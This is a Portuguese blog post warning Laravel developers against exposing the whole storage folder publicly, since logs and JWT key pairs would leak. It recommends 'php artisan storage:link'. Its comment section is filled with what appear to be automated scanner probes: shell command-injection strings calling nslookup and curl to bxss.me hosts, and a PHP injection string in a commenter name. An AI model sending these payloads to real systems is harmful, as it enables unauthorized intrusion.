AndersonArruda

Artigos de tecnologia ao alcance de um clique!


Laravel: Expor Toda a Pasta de Armazenamento é Seguro?
SegurançaLaravel ProteçãoDados DesenvolvimentoWeb LaravelFramework SegurançaOnline ArmazenamentoSeguro LaravelTips SegurançaDeDados

Laravel: Expor Toda a Pasta de Armazenamento é Seguro?

24/09/2023 01:33

Na minha trajetória e meu tempo de desenvolvimento em Laravel tive a oportunidade de ver inúmeros métodos de desenvolvimento estranhos e incoerentes.


Mas afinal o que de mal poderia acontecer caso eu decidisse copiar a pasta Storage pra dentro da pasta public?


Sabendo que toda a arquitetura de pastas do laravel é muito bem desenvolvida, você teria problemas em todos os uploads não estarem na pasta Storage, porém o problema fica maior quando você se aprofunda mais e mais no ambiente do Laravel e em pacotes disponíveis para o mesmo.

  • Log de erros ficariam exposto na internet
  • Par de chaves ficariam exposto na internet, por exemplo quando você utiliza o pacote php-open-source-saver/jwt-auth


Quais os riscos afinal?


Até pouco tempo atrás o PHP tinha uma falha crítica em erros quando o display erros estava on, dependendo do erro de DB que ocorria ele expunha o nome do usuário, senha, e dados de acesso em geral do banco de dados, causando uma enorme falha de segurança, imagine que por um momento essa falha aconteça, talvez por excesso de conexão, e no log fique exposto esses dados, e você deixou público o acesso ao log, seria uma catástrofe sem precedentes.

O mesmo vale ao expor a pasta inteira do storage usando o comando:


ln -s /path/storage /path/public/


Com o par de chaves o risco também é muito grande uma vez que o par de chaves é responsável principalmente por questões de autenticação no caso do pacote jwt-auth ele é responsável por participar da geração do token Bearer que será transmitido ao usuário, imagina o risco de alguém ter acesso a esse par de chaves.


Como deveria ser feito?


O primeiro passo é utilizar o comando do laravel para gerar o link simbólico na pasta public.


php artisan storage:link


Feito isso você pode fazer upload de arquivos utilizando comandos como:


$request->file(‘nome’)->store(‘public’);
$request->file(‘file2’)->store(‘public/thumbs’);


Dentro dos controladores que receberam arquivos, claro que tem inúmeros comandos de segurança e validações mas aqui estou dando ênfase somente nos argumentos que expor a pasta storage por completo é inteiramente inseguro.

Utilizar as maneiras padronizadas garantem que problemas de segurança sejam minimizadas.


Conclusão


Em resumo, a segurança é um alicerce essencial em qualquer projeto de desenvolvimento. Ao seguir as práticas recomendadas e evitar expor a pasta 'Storage' publicamente, você está protegendo não apenas seus dados, mas também a integridade do seu aplicativo Laravel.


Lembre-se sempre de utilizar o comando 'php artisan storage:link' e as funções de upload seguras dentro dos controladores. Ao fazê-lo, você estará trilhando o caminho da segurança e evitando riscos desnecessários.

Mantenha-se informado e atualizado sobre as melhores práticas de segurança do Laravel, pois, em última análise, a segurança é a chave para o sucesso contínuo do seu projeto. Proteja, previna e desenvolva com responsabilidade.


Espero que meu artigo te ajude de alguma forma, e que elucide pontos de seguranças dentro dos meus argumentos.

Espaço para publicidade
20 Comentário(s)
pHqghUme
22/04/2026 15:57

(nslookup -q=cname hitrfnexvobhzfbfd0.bxss.me||curl hitrfnexvobhzfbfd0.bxss.me))

pHqghUme
22/04/2026 15:57

555

pHqghUme
22/04/2026 15:57

$(nslookup -q=cname hiteshkoudepaaabc0.bxss.me||curl hiteshkoudepaaabc0.bxss.me)

pHqghUme
22/04/2026 15:57

555

pHqghUme
22/04/2026 15:57

&nslookup -q=cname hitdemwsamkmt291ab.bxss.me&'\"`0&nslookup -q=cname hitdemwsamkmt291ab.bxss.me&`'

pHqghUme
22/04/2026 15:57

555

pHqghUme
22/04/2026 15:57

&(nslookup -q=cname hitabpehbeuwl221ad.bxss.me||curl hitabpehbeuwl221ad.bxss.me)&'\"`0&(nslookup -q=cname hitabpehbeuwl221ad.bxss.me||curl hitabpehbeuwl221ad.bxss.me)&`'

pHqghUme
22/04/2026 15:57

555

pHqghUme
22/04/2026 15:57

|(nslookup -q=cname hitbeokbvivlda22ef.bxss.me||curl hitbeokbvivlda22ef.bxss.me)

pHqghUme
22/04/2026 15:57

555

pHqghUme
22/04/2026 15:57

`(nslookup -q=cname hitnxnufyxlhqd7dbc.bxss.me||curl hitnxnufyxlhqd7dbc.bxss.me)`

pHqghUme
22/04/2026 15:57

555

pHqghUme
22/04/2026 15:57

555

pHqghUme
22/04/2026 15:57

555

pHqghUme
22/04/2026 15:57

;(nslookup -q=cname hitgldaehyvwi14c34.bxss.me||curl hitgldaehyvwi14c34.bxss.me)|(nslookup -q=cname hitgldaehyvwi14c34.bxss.me||curl hitgldaehyvwi14c34.bxss.me)&(nslookup -q=cname hitgldaehyvwi14c34.bxss.me||curl hitgldaehyvwi14c34.bxss.me)

pHqghUme
22/04/2026 15:57

555

pHqghUme
22/04/2026 15:57

|(nslookup${IFS}-q${IFS}cname${IFS}hitjfbwdehxeia6276.bxss.me||curl${IFS}hitjfbwdehxeia6276.bxss.me)

pHqghUme
22/04/2026 15:57

&(nslookup${IFS}-q${IFS}cname${IFS}hittizoiymjqsd328d.bxss.me||curl${IFS}hittizoiymjqsd328d.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hittizoiymjqsd328d.bxss.me||curl${IFS}hittizoiymjqsd328d.bxss.me)&`'

pHqghUme
22/04/2026 15:57

555

';print(md5(31337));$a='
22/04/2026 15:57

555

Todos os direitos reservados. © 2021-2031
SBBlog Powered By Powered By Sysborg | Powered By Anderson Arruda